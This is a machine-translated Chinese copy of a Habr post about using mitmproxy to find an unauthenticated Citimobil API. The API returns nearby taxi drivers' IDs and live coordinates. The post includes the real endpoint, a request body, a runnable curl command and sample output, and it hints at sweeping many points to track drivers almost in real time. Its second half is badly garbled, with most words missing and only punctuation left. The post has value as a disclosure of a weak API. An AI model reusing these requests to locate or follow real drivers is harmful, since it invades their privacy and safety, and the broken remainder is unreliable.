我如何找到跟踪所有Citimobil驾驶员的方法

在星期六晚上,我一如既往地坐着,嗅着手机的流量。 突然,打开Citimobil应用程序,我看到一个有趣的请求正在执行而没有任何身份验证。

要求提供有关最近汽车的信息。 通过使用不同的参数多次满足了此请求,我意识到您几乎可以实时卸载有关出租车司机的数据。 试想一下,您现在可以学到多少有趣的东西!



这一切是如何开始的?


是的,我确实坐在那里看着电话的流量。 事实是我是一名工程师,并且我不断研究技术和周围各种事物的工作方式。 就是这个时候。

我使用了中间攻击程序中的一个人mitmproxy (中间代理人)。 有许多安装和配置说明,一般原则是:

  1. 通过手机和计算机连接到家庭WiFi
  2. 在计算机上运行mitmproxy
  3. 在电话上,您将计算机的本地地址注册为主要代理(您已经可以在http内部查看)
  4. 下载并确认手机上的证书(允许您查看https内部)

现在,大致来说,所有来自电话的流量都首先流向计算机,然后解密,显示在屏幕上,进行加密并继续运行。 反之亦然。

通过这种方式,我学习了如何制作不同的应用程序,有时我发现了非常有趣的东西。 例如,这一次,我看到Citimobil应用程序发出的请求,要求提供有关最近的驾驶员的信息,而无需身份验证。

错误赏金Mail.ru


我把所有信息都放在了hackerone上,并发送给审查。 在经历了与Yandex Bug赏金互动经历之后,我没有指望很快做出回应,但是3分钟后有人“ 3apa3a”关闭了我的报告。 速度很快,Mail.ru!

作为回应,他们写道,数据是在应用程序中显示给用户的,这意味着它们并不敏感,因此无需保护它们。



那好 由于这是公共数据,所以让我们玩得开心!

如何获取数据?


通过将POST请求发送到以下地址,可以获得有关地理位置最接近的10个驱动程序的信息:

https://c-api.city-mobil.ru/getdrivers

- :

{
    "latitude": LAT,
    "longitude": LON,
    "limit": 10,
    "method": "getdrivers",
    "radius": 5,
    "tariff_group": [ 4, 5, 6 ],
    "ver": "4.33.0"
}

tariff_group — . , , , ..
radius limit , , .

, :

curl -X POST --data '{ "latitude": 55.7, "limit": 10, "longitude": 37.6, "method": "getdrivers", "radius": 5, "tariff_group": [4], "ver": "4.33.0" }' https://c-api.city-mobil.ru/getdrivers

JSON 10 (LAT, LON) :

{ 
   "drivers":[ 
      { 
         "id":"1c1f6779f893af6fe5bf4509af7366cd",
         "lt":"55.7025061",
         "ln":"37.5954334",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort_plus"
      },
      { 
         "id":"1a13d0daad9b6a3fa2b3d04a5b6f8c2a",
         "lt":"55.7019682",
         "ln":"37.6054896",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort"
      },
      { 
         "id":"c7c1634fae41a68924083af1d496d0a7",
         "lt":"55.7014223",
         "ln":"37.6067352",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort_plus"
      },
      { 
         "id":"f15ce054ccdaa268b16a0904b9eecdae",
         "lt":"55.6956527",
         "ln":"37.5972063",
         "direction":"4",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"94ebc0fcc644bb1da4b57e7d23942e6d",
         "lt":"55.694786",
         "ln":"37.5982642",
         "direction":"4",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"7251c45ee945c9cb839d69d5902b9f17",
         "lt":"55.7009351",
         "ln":"37.6094206",
         "direction":"3",
         "CarColorCode":"000000",
         "car_type":"comfort"
      },
      { 
         "id":"cb9dab2ba7379c3db817dd76ec68e6c5",
         "lt":"55.6950137",
         "ln":"37.6041883",
         "direction":"8",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"761891d9c1129b1678c3eba616249e2b",
         "lt":"55.6944542",
         "ln":"37.5951122",
         "direction":"2",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"4f0e835751cadaa5d5386f0e1374f315",
         "lt":"55.7066516",
         "ln":"37.6011767",
         "direction":"7",
         "CarColorCode":"000000",
         "car_type":"sedan"
      },
      { 
         "id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
         "lt":"55.7066801",
         "ln":"37.6009127",
         "direction":"8",
         "CarColorCode":"000000",
         "car_type":"comfort"
      }
   ],
   "nearest":{ 
      "duration":420
   },
   "service_status":1
}


,

{ 
    "id":"2eb330cad5e5d9c87e6d0600a9ff10e8",
    "lt":"55.7066801",
    "ln":"37.6009127",
    "direction":"8",
    "CarColorCode":"000000",
    "car_type":"comfort"
}

, , , (-), . !

!


, 10 , N , N .

. , , , . , — mail.ru ip.

«», . .

,



, ?
11 4374

? .



. ?



- .



, . .

?


, .

-, «».

-, (, .) . , . , , .

-, , . . , , «», , .


, .

Mail.ru , , ., . .

Mail.ru , , bug bounty.

?

, ! , .

!

Source: https://habr.com/ru/post/zh-CN480956/


All Articles